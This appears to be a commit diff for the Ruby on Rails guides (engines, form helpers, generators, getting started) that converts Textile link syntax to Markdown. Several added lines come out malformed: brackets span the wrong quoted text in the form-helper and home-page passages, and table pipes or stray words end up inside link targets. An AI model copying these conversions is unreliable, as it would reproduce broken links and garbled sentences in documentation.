<ide>
<del>To see demonstrations of other engines, check out "Devise":https://github.com/plataformatec/devise, an engine that provides authentication for its parent applications, or "Forem":https://github.com/radar/forem, an engine that provides forum functionality. There's also "Spree":https://github.com/spree/spree which provides an e-commerce platform, and "RefineryCMS":https://github.com/resolve/refinerycms, a CMS engine.
<add>To see demonstrations of other engines, check out [Devise](https://github.com/plataformatec/devise), an engine that provides authentication for its parent applications, or [Forem](https://github.com/radar/forem), an engine that provides forum functionality. There's also [Spree](https://github.com/spree/spree) which provides an e-commerce platform, and [RefineryCMS](https://github.com/resolve/refinerycms), a CMS engine.
<ide>
<ide> Finally, engines would not have been possible without the work of James Adam, Piotr Sarnacki, the Rails Core Team, and a number of other people. If you ever meet them, don't forget to say thanks!
<ide>
<ide> NOTE: It is *highly* recommended that the `isolate_namespace` line be left withi
<ide>
<ide> What this isolation of the namespace means is that a model generated by a call to `rails g model` such as `rails g model post` won't be called `Post`, but instead be namespaced and called `Blorgh::Post`. In addition, the table for the model is namespaced, becoming `blorgh_posts`, rather than simply `posts`. Similar to the model namespacing, a controller called `PostsController` becomes `Blorgh::PostsController` and the views for that controller will not be at `app/views/posts`, but `app/views/blorgh/posts` instead. Mailers are namespaced as well.
<ide>
<del>Finally, routes will also be isolated within the engine. This is one of the most important parts about namespacing, and is discussed later in the "Routes":#routes section of this guide.
<add>Finally, routes will also be isolated within the engine. This is one of the most important parts about namespacing, and is discussed later in the [Routes](#routes) section of this guide.
<ide>
<ide> #### `app` directory
<ide>
<ide> Also in the test directory is the `test/integration` directory, where integratio
<ide> Providing engine functionality
<ide> ------------------------------
<ide>
<del>The engine that this guide covers provides posting and commenting functionality and follows a similar thread to the "Getting Started Guide":getting_started.html, with some new twists.
<add>The engine that this guide covers provides posting and commenting functionality and follows a similar thread to the [Getting Started Guide](getting_started.html), with some new twists.
<ide>
<ide> ### Generating a post resource
<ide>
<ide> Blorgh::Engine.routes.draw do
<ide> end
<ide> ```
<ide>
<del>Note here that the routes are drawn upon the `Blorgh::Engine` object rather than the `YourApp::Application` class. This is so that the engine routes are confined to the engine itself and can be mounted at a specific point as shown in the "test directory":#test-directory section. This is also what causes the engine's routes to be isolated from those routes that are within the application. This is discussed further in the "Routes":#routes section of this guide.
<add>Note here that the routes are drawn upon the `Blorgh::Engine` object rather than the `YourApp::Application` class. This is so that the engine routes are confined to the engine itself and can be mounted at a specific point as shown in the [test directory](#test-directory section). This is also what causes the engine's routes to be isolated from those routes that are within the application. This is discussed further in the [Routes](#routes) section of this guide.
<ide>
<ide> Next, the `scaffold_controller` generator is invoked, generating a controller called `Blorgh::PostsController` (at `app/controllers/blorgh/posts_controller.rb`) and its related views at `app/views/blorgh/posts`. This generator also generates a functional test for the controller (`test/functional/blorgh/posts_controller_test.rb`) and a helper (`app/helpers/blorgh/posts_controller.rb`).
<ide>
<ide> There are now no strict dependencies on what the class is, only what the API for
<ide>
<ide> Within an engine, there may come a time where you wish to use things such as initializers, internationalization or other configuration options. The great news is that these things are entirely possible because a Rails engine shares much the same functionality as a Rails application. In fact, a Rails application's functionality is actually a superset of what is provided by engines!
<ide>
<del>If you wish to use an initializer -- code that should run before the engine is loaded -- the place for it is the `config/initializers` folder. This directory's functionality is explained in the "Initializers section":http://guides.rubyonrails.org/configuring.html#initializers of the Configuring guide, and works precisely the same way as the `config/initializers` directory inside an application. Same goes for if you want to use a standard initializer.
<add>If you wish to use an initializer -- code that should run before the engine is loaded -- the place for it is the `config/initializers` folder. This directory's functionality is explained in the [Initializers section](http://guides.rubyonrails.org/configuring.html#initializers) of the Configuring guide, and works precisely the same way as the `config/initializers` directory inside an application. Same goes for if you want to use a standard initializer.
<ide>
<ide> For locales, simply place the locale files in the `config/locales` directory, just like you would in an application.
<ide>
<ide> end
<ide>
<ide> #### Implementing Decorator Pattern Using ActiveSupport::Concern
<ide>
<del>Using `Class#class_eval` is great for simple adjustments, but for more complex class modifications, you might want to consider using `ActiveSupport::Concern`. ["**ActiveSupport::Concern**":http://edgeapi.rubyonrails.org/classes/ActiveSupport/Concern.html] helps manage the load order of interlinked dependencies at run time allowing you to significantly modularize your code.
<add>Using `Class#class_eval` is great for simple adjustments, but for more complex class modifications, you might want to consider using `ActiveSupport::Concern`. [[**ActiveSupport::Concern**](http://edgeapi.rubyonrails.org/classes/ActiveSupport/Concern.html]) helps manage load order of interlinked dependencies at run time allowing you to significantly modularize your code.
<ide>
<ide> **Adding** `Post#time_since_created`<br/>
<ide> **Overriding** `Post#summary`
<ide> initializer "blorgh.assets.precompile" do |app|
<ide> end
<ide> ```
<ide>
<del>For more information, read the "Asset Pipeline guide":http://guides.rubyonrails.org/asset_pipeline.html
<add>For more information, read the [Asset Pipeline guide](http://guides.rubyonrails.org/asset_pipeline.html)
<ide>
<ide> ### Other gem dependencies
<ide>
<ide><path>guides/source/form_helpers.md
<ide> In this guide you will:
<ide>
<ide> --------------------------------------------------------------------------------
<ide>
<del>NOTE: This guide is not intended to be a complete documentation of available form helpers and their arguments. Please visit "the Rails API documentation":http://api.rubyonrails.org/ for a complete reference.
<add>NOTE: This guide is not intended to be a complete documentation of available form helpers and their arguments. Please visit [the Rails API documentation](http://api.rubyonrails.org/) for a complete reference.
<ide>
<ide>
<ide> Dealing with Basic Forms
<ide> When called without arguments like this, it creates a `<form>` tag which,
<ide> </form>
<ide> ```
<ide>
<del>Now, you'll notice that the HTML contains something extra: a `div` element with two hidden input elements inside. This div is important, because the form cannot be successfully submitted without it. The first input element with name `utf8` enforces browsers to properly respect your form's character encoding and is generated for all forms whether their actions are "GET" or "POST". The second input element with name `authenticity_token` is a security feature of Rails called *cross-site request forgery protection*, and form helpers generate it for every non-GET form (provided that this security feature is enabled). You can read more about this in the "Security Guide":./security.html#cross-site-request-forgery-csrf.
<add>Now, you'll notice that the HTML contains something extra: a `div` element with two hidden input elements inside. This div is important, because the form cannot be successfully submitted without it. The first input element with name `utf8` enforces browsers to properly respect your form's character encoding and is generated for all forms whether their actions are [GET" or "POST". The second input element with name `authenticity_token` is a security feature of Rails called *cross-site request forgery protection*, and form helpers generate it for every non-GET form (provided that this security feature is enabled). You can read more about this in the "Security Guide](./security.html#cross-site-request-forgery-csrf).
<ide>
<ide> NOTE: Throughout this guide, the `div` with the hidden input elements will be excluded from code samples for brevity.
<ide>
<ide> form_tag({:controller => "people", :action => "search"}, :method => "get", :clas
<ide>
<ide> Rails provides a series of helpers for generating form elements such as checkboxes, text fields, and radio buttons. These basic helpers, with names ending in "_tag" (such as `text_field_tag` and `check_box_tag`), generate just a single `<input>` element. The first parameter to these is always the name of the input. When the form is submitted, the name will be passed along with the form data, and will make its way to the `params` hash in the controller with the value entered by the user for that field. For example, if the form contains `<%= text_field_tag(:query) %>`, then you would be able to get the value of this field in the controller with `params[:query]`.
<ide>
<del>When naming inputs, Rails uses certain conventions that make it possible to submit parameters with non-scalar values such as arrays or hashes, which will also be accessible in `params`. You can read more about them in "chapter 7 of this guide":#understanding-parameter-naming-conventions. For details on the precise usage of these helpers, please refer to the "API documentation":http://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html.
<add>When naming inputs, Rails uses certain conventions that make it possible to submit parameters with non-scalar values such as arrays or hashes, which will also be accessible in `params`. You can read more about them in [chapter 7 of this guide](#understanding-parameter-naming-conventions). For details on the precise usage of these helpers, please refer to the [API documentation](http://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html).
<ide>
<ide> #### Checkboxes
<ide>
<ide> Output:
<ide>
<ide> Hidden inputs are not shown to the user but instead hold data like any textual input. Values inside them can be changed with JavaScript.
<ide>
<del>IMPORTANT: The search, telephone, date, time, color, datetime, datetime-local, month, week, URL, and email inputs are HTML5 controls. If you require your app to have a consistent experience in older browsers, you will need an HTML5 polyfill (provided by CSS and/or JavaScript). There is definitely "no shortage of solutions for this":https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills, although a couple of popular tools at the moment are "Modernizr":http://www.modernizr.com/ and "yepnope":http://yepnopejs.com/, which provide a simple way to add functionality based on the presence of detected HTML5 features.
<add>IMPORTANT: The search, telephone, date, time, color, datetime, datetime-local, month, week, URL, and email inputs are HTML5 controls. If you require your app to have a consistent experience in older browsers, you will need an HTML5 polyfill (provided by CSS and/or JavaScript). There is definitely [no shortage of solutions for this](https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills), although a couple of popular tools at the moment are [Modernizr](http://www.modernizr.com/) and [yepnope](http://yepnopejs.com/), which provide a simple way to add functionality based on the presence of detected HTML5 features.
<ide>
<del>TIP: If you're using password input fields (for any purpose), you might want to configure your application to prevent those parameters from being logged. You can learn about this in the "Security Guide":security.html#logging.
<add>TIP: If you're using password input fields (for any purpose), you might want to configure your application to prevent those parameters from being logged. You can learn about this in the [Security Guide](security.html#logging).
<ide>
<ide> Dealing with Model Objects
<ide> --------------------------
<ide> Upon form submission the value entered by the user will be stored in `params[:pe
<ide>
<ide> WARNING: You must pass the name of an instance variable, i.e. `:person` or `"person"`, not an actual instance of your model object.
<ide>
<del>Rails provides helpers for displaying the validation errors associated with a model object. These are covered in detail by the "Active Record Validations and Callbacks":./active_record_validations_callbacks.html#displaying-validation-errors-in-the-view guide.
<add>Rails provides helpers for displaying the validation errors associated with a model object. These are covered in detail by the [Active Record Validations and Callbacks](./active_record_validations_callbacks.html#displaying-validation-errors-in-the-view) guide.
<ide>
<ide> ### Binding a Form to an Object
<ide>
<ide> The Article model is directly available to users of the application, so -- follo
<ide> resources :articles
<ide> ```
<ide>
<del>TIP: Declaring a resource has a number of side-affects. See "Rails Routing From the Outside In":routing.html#resource-routing-the-rails-default for more information on setting up and using resources.
<add>TIP: Declaring a resource has a number of side-affects. See [Rails Routing From the Outside In](routing.html#resource-routing-the-rails-default) for more information on setting up and using resources.
<ide>
<ide> When dealing with RESTful resources, calls to `form_for` can get significantly easier if you rely on *record identification*. In short, you can just pass the model instance and have Rails figure out model name and the rest:
<ide>
<ide> will create a form that submits to the articles controller inside the admin name
<ide> form_for [:admin, :management, @article]
<ide> ```
<ide>
<del>For more information on Rails' routing system and the associated conventions, please see the "routing guide":routing.html.
<add>For more information on Rails' routing system and the associated conventions, please see the [routing guide](routing.html).
<ide>
<ide>
<ide> ### How do forms with PATCH, PUT, or DELETE methods work?
<ide> As with other helpers, if you were to use the `select` helper on a form builder
<ide> <%= f.select(:city_id, ...) %>
<ide> ```
<ide>
<del>WARNING: If you are using `select` (or similar helpers such as `collection_select`, `select_tag`) to set a `belongs_to` association you must pass the name of the foreign key (in the example above `city_id`), not the name of association itself. If you specify `city` instead of `city_id` Active Record will raise an error along the lines of ` ActiveRecord::AssociationTypeMismatch: City(#17815740) expected, got String(#1138750) ` when you pass the `params` hash to `Person.new` or `update_attributes`. Another way of looking at this is that form helpers only edit attributes. You should also be aware of the potential security ramifications of allowing users to edit foreign keys directly. You may wish to consider the use of `attr_protected` and `attr_accessible`. For further details on this, see the "Ruby On Rails Security Guide":security.html#mass-assignment.
<add>WARNING: If you are using `select` (or similar helpers such as `collection_select`, `select_tag`) to set a `belongs_to` association you must pass the name of the foreign key (in the example above `city_id`), not the name of association itself. If you specify `city` instead of `city_id` Active Record will raise an error along the lines of ` ActiveRecord::AssociationTypeMismatch: City(#17815740) expected, got String(#1138750) ` when you pass the `params` hash to `Person.new` or `update_attributes`. Another way of looking at this is that form helpers only edit attributes. You should also be aware of the potential security ramifications of allowing users to edit foreign keys directly. You may wish to consider the use of `attr_protected` and `attr_accessible`. For further details on this, see the [Ruby On Rails Security Guide](security.html#mass-assignment).
<ide>
<ide> ### Option Tags from a Collection of Arbitrary Objects
<ide>
<ide> To leverage time zone support in Rails, you have to ask your users what time zon
<ide>
<ide> There is also `time_zone_options_for_select` helper for a more manual (therefore more customizable) way of doing this. Read the API documentation to learn about the possible arguments for these two methods.
<ide>
<del>Rails _used_ to have a `country_select` helper for choosing countries, but this has been extracted to the "country_select plugin":https://github.com/chrislerum/country_select. When using this, be aware that the exclusion or inclusion of certain names from the list can be somewhat controversial (and was the reason this functionality was extracted from Rails).
<add>Rails _used_ to have a `country_select` helper for choosing countries, but this has been extracted to the [country_select plugin](https://github.com/chrislerum/country_select). When using this, be aware that the exclusion or inclusion of certain names from the list can be somewhat controversial (and was the reason this functionality was extracted from Rails).
<ide>
<ide> Using Date and Time Form Helpers
<ide> --------------------------------
<ide> When this is passed to `Person.new` (or `update_attributes`), Active Record spot
<ide>
<ide> ### Common Options
<ide>
<del>Both families of helpers use the same core set of functions to generate the individual select tags and so both accept largely the same options. In particular, by default Rails will generate year options 5 years either side of the current year. If this is not an appropriate range, the `:start_year` and `:end_year` options override this. For an exhaustive list of the available options, refer to the "API documentation":http://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html.
<add>Both families of helpers use the same core set of functions to generate the individual select tags and so both accept largely the same options. In particular, by default Rails will generate year options 5 years either side of the current year. If this is not an appropriate range, the `:start_year` and `:end_year` options override this. For an exhaustive list of the available options, refer to the [API documentation](http://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html).
<ide>
<ide> As a rule of thumb you should be using `date_select` when working with model objects and `select_date` in other cases, such as a search form which filters results by date.
<ide>
<ide> def upload
<ide> end
<ide> ```
<ide>
<del>Once a file has been uploaded, there are a multitude of potential tasks, ranging from where to store the files (on disk, Amazon S3, etc) and associating them with models to resizing image files and generating thumbnails. The intricacies of this are beyond the scope of this guide, but there are several libraries designed to assist with these. Two of the better known ones are "CarrierWave":https://github.com/jnicklas/carrierwave and "Paperclip":http://www.thoughtbot.com/projects/paperclip.
<add>Once a file has been uploaded, there are a multitude of potential tasks, ranging from where to store the files (on disk, Amazon S3, etc) and associating them with models to resizing image files and generating thumbnails. The intricacies of this are beyond the scope of this guide, but there are several libraries designed to assist with these. Two of the better known ones are [CarrierWave](https://github.com/jnicklas/carrierwave) and [Paperclip](http://www.thoughtbot.com/projects/paperclip).
<ide>
<ide> NOTE: If the user has not selected a file the corresponding parameter will be an empty string.
<ide>
<ide><path>guides/source/generators.md
<ide> $ rails generate helper --help
<ide> Creating Your First Generator
<ide> -----------------------------
<ide>
<del>Since Rails 3.0, generators are built on top of "Thor":https://github.com/wycats/thor. Thor provides powerful options parsing and a great API for manipulating files. For instance, let's build a generator that creates an initializer file named `initializer.rb` inside `config/initializers`.
<add>Since Rails 3.0, generators are built on top of [Thor](https://github.com/wycats/thor). Thor provides powerful options parsing and a great API for manipulating files. For instance, let's build a generator that creates an initializer file named `initializer.rb` inside `config/initializers`.
<ide>
<ide> The first step is to create a file at `lib/generators/initializer_generator.rb` with the following content:
<ide>
<ide> class InitializerGenerator < Rails::Generators::Base
<ide> end
<ide> ```
<ide>
<del>NOTE: `create_file` is a method provided by `Thor::Actions`. Documentation for `create_file` and other Thor methods can be found in "Thor's documentation":http://rdoc.info/github/wycats/thor/master/Thor/Actions.html
<add>NOTE: `create_file` is a method provided by `Thor::Actions`. Documentation for `create_file` and other Thor methods can be found in [Thor's documentation](http://rdoc.info/github/wycats/thor/master/Thor/Actions.html)
<ide>
<ide> Our new generator is quite simple: it inherits from `Rails::Generators::Base` and has one method definition. When a generator is invoked, each public method in the generator is executed sequentially in the order that it is defined. Finally, we invoke the `create_file` method that will create a file at the given destination with the given content. If you are familiar with the Rails Application Templates API, you'll feel right at home with the new generators API.
<ide>
<ide> $ rails generate initializer core_extensions
<ide>
<ide> We can see that now an initializer named core_extensions was created at `config/initializers/core_extensions.rb` with the contents of our template. That means that `copy_file` copied a file in our source root to the destination path we gave. The method `file_name` is automatically created when we inherit from `Rails::Generators::NamedBase`.
<ide>
<del>The methods that are available for generators are covered in the "final section":#generator-methods of this guide.
<add>The methods that are available for generators are covered in the [final section](#generator-methods) of this guide.
<ide>
<ide> Generators Lookup
<ide> -----------------
<ide> If you generate another resource, you can see that we get exactly the same resul
<ide> Adding Generators Fallbacks
<ide> ---------------------------
<ide>
<del>One last feature about generators which is quite useful for plugin generators is fallbacks. For example, imagine that you want to add a feature on top of TestUnit like "shoulda":https://github.com/thoughtbot/shoulda does. Since TestUnit already implements all generators required by Rails and shoulda just wants to overwrite part of it, there is no need for shoulda to reimplement some generators again, it can simply tell Rails to use a `TestUnit` generator if none was found under the `Shoulda` namespace.
<add>One last feature about generators which is quite useful for plugin generators is fallbacks. For example, imagine that you want to add a feature on top of TestUnit like [shoulda](https://github.com/thoughtbot/shoulda) does. Since TestUnit already implements all generators required by Rails and shoulda just wants to overwrite part of it, there is no need for shoulda to reimplement some generators again, it can simply tell Rails to use a `TestUnit` generator if none was found under the `Shoulda` namespace.
<ide>
<ide> We can easily simulate this behavior by changing our `config/application.rb` once again:
<ide>
<ide> Generator methods
<ide>
<ide> The following are methods available for both generators and templates for Rails.
<ide>
<del>NOTE: Methods provided by Thor are not covered this guide and can be found in "Thor's documentation":http://rdoc.info/github/wycats/thor/master/Thor/Actions.html
<add>NOTE: Methods provided by Thor are not covered this guide and can be found in [Thor's documentation](http://rdoc.info/github/wycats/thor/master/Thor/Actions.html)
<ide>
<ide> ### `gem`
<ide>
<ide><path>guides/source/getting_started.md
<ide> application from scratch. It does not assume that you have any prior experience
<ide> with Rails. However, to get the most out of it, you need to have some
<ide> prerequisites installed:
<ide>
<del>* The "Ruby":http://www.ruby-lang.org/en/downloads language version 1.9.3 or higher
<add>* The [Ruby](http://www.ruby-lang.org/en/downloads) language version 1.9.3 or higher
<ide>
<del>* The "RubyGems":http://rubyforge.org/frs/?group_id=126 packaging system
<del> ** If you want to learn more about RubyGems, please read the "RubyGems User Guide":http://docs.rubygems.org/read/book/1
<del>* A working installation of the "SQLite3 Database":http://www.sqlite.org
<add>* The [RubyGems](http://rubyforge.org/frs/?group_id=126) packaging system
<add> ** If you want to learn more about RubyGems, please read the [RubyGems User Guide](http://docs.rubygems.org/read/book/1)
<add>* A working installation of the [SQLite3 Database](http://www.sqlite.org)
<ide>
<ide> Rails is a web application framework running on the Ruby programming language.
<ide> If you have no prior experience with Ruby, you will find a very steep learning
<ide> curve diving straight into Rails. There are some good free resources on the
<ide> internet for learning Ruby, including:
<ide>
<del>* "Mr. Neighborly's Humble Little Ruby Book":http://www.humblelittlerubybook.com
<del>* "Programming Ruby":http://www.ruby-doc.org/docs/ProgrammingRuby/
<del>* "Why's (Poignant) Guide to Ruby":http://mislav.uniqpath.com/poignant-guide/
<add>* [Mr. Neighborly's Humble Little Ruby Book](http://www.humblelittlerubybook.com)
<add>* [Programming Ruby](http://www.ruby-doc.org/docs/ProgrammingRuby/)
<add>* [Why's (Poignant) Guide to Ruby](http://mislav.uniqpath.com/poignant-guide/)
<ide>
<ide> What is Rails?
<ide> --------------
<ide> Creating a New Rails Project
<ide> The best way to use this guide is to follow each step as it happens, no code or
<ide> step needed to make this example application has been left out, so you can
<ide> literally follow along step by step. You can get the complete code
<del>"here":https://github.com/lifo/docrails/tree/master/guides/code/getting_started.
<add>[here](https://github.com/lifo/docrails/tree/master/guides/code/getting_started).
<ide>
<ide> By following along with this guide, you'll create a Rails project called
<ide> `blog`, a
<ide> To install Rails, use the `gem install` command provided by RubyGems:
<ide> TIP. A number of tools exist to help you quickly install Ruby and Ruby
<ide> on Rails on your system. Windows users can use "Rails
<ide> Installer":http://railsinstaller.org, while Mac OS X users can use
<del>"Rails One Click":http://railsoneclick.com.
<add>[Rails One Click](http://railsoneclick.com).
<ide>
<ide> To verify that you have everything installed correctly, you should be able to run the following:
<ide>
<ide> application. Most of the work in this tutorial will happen in the `app/` folder,
<ide>
<ide> |_.File/Folder|_.Purpose|
<ide> |app/|Contains the controllers, models, views, helpers, mailers and assets for your application. You'll focus on this folder for the remainder of this guide.|
<del>|config/|Configure your application's runtime rules, routes, database, and more. This is covered in more detail in "Configuring Rails Applications":configuring.html|
<add>|config/|Configure your application's runtime rules, routes, database, and more. This is covered in more detail in [Configuring Rails Applications](configuring.html|)
<ide> |config.ru|Rack configuration for Rack based servers used to start the application.|
<ide> |db/|Contains your current database schema, as well as the database migrations.|
<ide> |doc/|In-depth documentation for your application.|
<del>|Gemfile<br />Gemfile.lock|These files allow you to specify what gem dependencies are needed for your Rails application. These files are used by the Bundler gem. For more information about Bundler, see "the Bundler website":http://gembundler.com |
<add>|Gemfile<br />Gemfile.lock|These files allow you to specify what gem dependencies are needed for your Rails application. These files are used by the Bundler gem. For more information about Bundler, see [the Bundler website](http://gembundler.com) |
<ide> |lib/|Extended modules for your application.|
<ide> |log/|Application log files.|
<ide> |public/|The only folder seen to the world as-is. Contains the static files and compiled assets.|
<ide> |Rakefile|This file locates and loads tasks that can be run from the command line. The task definitions are defined throughout the components of Rails. Rather than changing Rakefile, you should add your own tasks by adding files to the lib/tasks directory of your application.|
<ide> |README.rdoc|This is a brief instruction manual for your application. You should edit this file to tell others what your application does, how to set it up, and so on.|
<ide> |script/|Contains the rails script that starts your app and can contain other scripts you use to deploy or run your application.|
<del>|test/|Unit tests, fixtures, and other test apparatus. These are covered in "Testing Rails Applications":testing.html|
<add>|test/|Unit tests, fixtures, and other test apparatus. These are covered in [Testing Rails Applications](testing.html|)
<ide> |tmp/|Temporary files (like cache, pid and session files)|
<ide> |vendor/|A place for all third-party code. In a typical Rails application, this includes Ruby Gems and the Rails source code (if you optionally install it into your project).|
<ide>
<ide> You actually have a functional Rails application already. To see it, you need to
<ide> $ rails server
<ide> ```
<ide>
<del>TIP: Compiling CoffeeScript to JavaScript requires a JavaScript runtime and the absence of a runtime will give you an `execjs` error. Usually Mac OS X and Windows come with a JavaScript runtime installed. Rails adds the `therubyracer` gem to Gemfile in a commented line for new apps and you can uncomment if you need it. `therubyrhino` is the recommended runtime for JRuby users and is added by default to Gemfile in apps generated under JRuby. You can investigate about all the supported runtimes at "ExecJS":https://github.com/sstephenson/execjs#readme.
<add>TIP: Compiling CoffeeScript to JavaScript requires a JavaScript runtime and the absence of a runtime will give you an `execjs` error. Usually Mac OS X and Windows come with a JavaScript runtime installed. Rails adds the `therubyracer` gem to Gemfile in a commented line for new apps and you can uncomment if you need it. `therubyrhino` is the recommended runtime for JRuby users and is added by default to Gemfile in apps generated under JRuby. You can investigate about all the supported runtimes at [ExecJS](https://github.com/sstephenson/execjs#readme).
<ide>
<del>This will fire up WEBrick, a webserver built into Ruby by default. To see your application in action, open a browser window and navigate to "http://localhost:3000":http://localhost:3000. You should see the Rails default information page:
<add>This will fire up WEBrick, a webserver built into Ruby by default. To see your application in action, open a browser window and navigate to [http://localhost:3000](http://localhost:3000). You should see the Rails default information page:
<ide>
<ide> !images/rails_welcome.png(Welcome Aboard screenshot)!
<ide>
<ide> Open the `app/views/welcome/index.html.erb` file in your text editor and edit it
<ide>
<ide> ### Setting the Application Home Page
<ide>
<del>Now that we have made the controller and view, we need to tell Rails when we want "Hello Rails!" to show up. In our case, we want it to show up when we navigate to the root URL of our site, "http://localhost:3000":http://localhost:3000. At the moment, however, the "Welcome Aboard" smoke test is occupying that spot.
<add>Now that we have made the controller and view, we need to tell Rails when we want [Hello Rails!" to show up. In our case, we want it to show up when we navigate to the root URL of our site, "http://localhost:3000](http://localhost:3000). At the moment, however, the "Welcome Aboard" smoke test is occupying that spot.
<ide>
<ide> To fix this, delete the `index.html` file located inside the `public` directory of the application.
<ide>
<ide> This is your application's _routing file_ which holds entries in a special DSL (
<ide> root :to => "welcome#index"
<ide> ```
<ide>
<del>The `root :to => "welcome#index"` tells Rails to map requests to the root of the application to the welcome controller's index action and `get "welcome/index"` tells Rails to map requests to "http://localhost:3000/welcome/index":http://localhost:3000/welcome/index to the welcome controller's index action. This was created earlier when you ran the controller generator (`rails generate controller welcome index`).
<add>The `root :to => [welcome#index"` tells Rails to map requests to the root of the application to the welcome controller's index action and `get "welcome/index"` tells Rails to map requests to "http://localhost:3000/welcome/index](http://localhost:3000/welcome/index) to the welcome controller's index action. This was created earlier when you ran the controller generator (`rails generate controller welcome index`).
<ide>
<del>If you navigate to "http://localhost:3000":http://localhost:3000 in your browser, you'll see the `Hello, Rails!` message you put into `app/views/welcome/index.html.erb`, indicating that this new route is indeed going to `WelcomeController`'s `index` action and is rendering the view correctly.
<add>If you navigate to [http://localhost:3000](http://localhost:3000) in your browser, you'll see the `Hello, Rails!` message you put into `app/views/welcome/index.html.erb`, indicating that this new route is indeed going to `WelcomeController`'s `index` action and is rendering the view correctly.
<ide>
<del>NOTE. For more information about routing, refer to "Rails Routing from the Outside In":routing.html.
<add>NOTE. For more information about routing, refer to [Rails Routing from the Outside In](routing.html).
<ide>
<ide> Getting Up and Running
<ide> ----------------------
<ide> It will look a little basic for now, but that's ok. We'll look at improving the
<ide>
<ide> ### Laying down the ground work
<ide>
<del>The first thing that you are going to need to create a new post within the application is a place to do that. A great place for that would be at `/posts/new`. If you attempt to navigate to that now -- by visiting "http://localhost:3000/posts/new":http://localhost:3000/posts/new -- Rails will give you a routing error:
<add>The first thing that you are going to need to create a new post within the application is a place to do that. A great place for that would be at `/posts/new`. If you attempt to navigate to that now -- by visiting [http://localhost:3000/posts/new](http://localhost:3000/posts/new) -- Rails will give you a routing error:
<ide>
<ide> !images/getting_started/routing_error_no_route_matches.png(A routing error, no route matches /posts/new)!
<ide>
<ide> get "posts/new"
<ide>
<ide> This route is a super-simple route: it defines a new route that only responds to `GET` requests, and that the route is at `posts/new`. But how does it know where to go without the use of the `:to` option? Well, Rails uses a sensible default here: Rails will assume that you want this route to go to the new action inside the posts controller.
<ide>
<del>With the route defined, requests can now be made to `/posts/new` in the application. Navigate to "http://localhost:3000/posts/new":http://localhost:3000/posts/new and you'll see another routing error:
<add>With the route defined, requests can now be made to `/posts/new` in the application. Navigate to [http://localhost:3000/posts/new](http://localhost:3000/posts/new) and you'll see another routing error:
<ide>
<ide> !images/getting_started/routing_error_no_controller.png(Another routing error, uninitialized constant PostsController)!
<ide>
<ide> end
<ide>
<ide> A controller is simply a class that is defined to inherit from `ApplicationController`. It's inside this class that you'll define methods that will become the actions for this controller. These actions will perform CRUD operations on the posts within our system.
<ide>
<del>If you refresh "http://localhost:3000/posts/new":http://localhost:3000/posts/new now, you'll get a new error:
<add>If you refresh [http://localhost:3000/posts/new](http://localhost:3000/posts/new) now, you'll get a new error:
<ide>
<ide> !images/getting_started/unknown_action_new_for_posts.png(Unknown action new for PostsController!)!
<ide>
<ide> def new
<ide> end
<ide> ```
<ide>
<del>With the `new` method defined in `PostsController`, if you refresh "http://localhost:3000/posts/new":http://localhost:3000/posts/new you'll see another error:
<add>With the `new` method defined in `PostsController`, if you refresh [http://localhost:3000/posts/new](http://localhost:3000/posts/new) you'll see another error:
<ide>
<ide> !images/getting_started/template_is_missing_posts_new.png(Template is missing for posts/new)!
<ide>
<ide> Go ahead now and create a new file at `app/views/posts/new.html.erb` and write t
<ide> <h1>New Post</h1>
<ide> ```
<ide>
<del>When you refresh "http://localhost:3000/posts/new":http://localhost:3000/posts/new you'll now see that the page has a title. The route, controller, action and view are now working harmoniously! It's time to create the form for a new post.
<add>When you refresh [http://localhost:3000/posts/new](http://localhost:3000/posts/new) you'll now see that the page has a title. The route, controller, action and view are now working harmoniously! It's time to create the form for a new post.
<ide>
<ide> ### The first form
<ide>
<ide> content:
<ide> ```
<ide>
<ide> Finally, if you now go to
<del>"http://localhost:3000/posts/new":http://localhost:3000/posts/new you'll
<add>[http://localhost:3000/posts/new](http://localhost:3000/posts/new) you'll
<ide> be able to create a post. Try it!
<ide>
<ide> !images/getting_started/show_action_for_posts.png(Show action for posts)!
<ide> end
<ide>
<ide> This change will ensure that all changes made through HTML forms can edit the content of the text and title fields.
<ide> It will not be possible to define any other field value through forms. You can still define them by calling the `field=` method of course.
<del>Accessible attributes and the mass assignment problem is covered in details in the "Security guide":security.html#mass-assignment
<add>Accessible attributes and the mass assignment problem is covered in details in the [Security guide](security.html#mass-assignment)
<ide>
<ide> ### Adding Some Validation
<ide>
<ide> Notice that inside the `create` action we use `render` instead of `redirect_to`
<ide> returns `false`. The `render` method is used so that the `@post` object is passed back to the `new` template when it is rendered. This rendering is done within the same request as the form submission, whereas the `redirect_to` will tell the browser to issue another request.
<ide>
<ide> If you reload
<del>"http://localhost:3000/posts/new":http://localhost:3000/posts/new and
<add>[http://localhost:3000/posts/new](http://localhost:3000/posts/new) and
<ide> try to save a post without a title, Rails will send you back to the
<ide> form, but that's not very useful. You need to tell the user that
<ide> something went wrong. To do that, you'll modify
<ide> with class `field_with_errors`. You can define a css rule to make them
<ide> standout.
<ide>
<ide> Now you'll get a nice error message when saving a post without title when you
<del>attempt to do just that on the "new post form(http://localhost:3000/posts/new)":http://localhost:3000/posts/new.
<add>attempt to do just that on the [new post form(http://localhost:3000/posts/new)](http://localhost:3000/posts/new).
<ide>
<ide> !images/getting_started/form_with_errors.png(Form With Errors)!
<ide>
<ide> Then do the same for the `app/views/posts/edit.html.erb` view:
<ide> <%= link_to 'Back', :action => :index %>
<ide> ```
<ide>
<del>Point your browser to "http://localhost:3000/posts/new":http://localhost:3000/posts/new and
<add>Point your browser to [http://localhost:3000/posts/new](http://localhost:3000/posts/new) and
<ide> try creating a new post. Everything still works. Now try editing the
<ide> post and you'll receive the following error:
<ide>
<ide> posts the app still works as before.
<ide> TIP: In general, Rails encourages the use of resources objects in place
<ide> of declaring routes manually. It was only done in this guide as a learning
<ide> exercise. For more information about routing, see
<del>"Rails Routing from the Outside In":routing.html.
<add>[Rails Routing from the Outside In](routing.html).
<ide>
<ide> Adding a Second Model
<ide> ---------------------
<ide> update it and experiment on your own. But you don't have to do everything
<ide> without help. As you need assistance getting up and running with Rails, feel
<ide> free to consult these support resources:
<ide>
<del>* The "Ruby on Rails guides":index.html
<del>* The "Ruby on Rails Tutorial":http://railstutorial.org/book
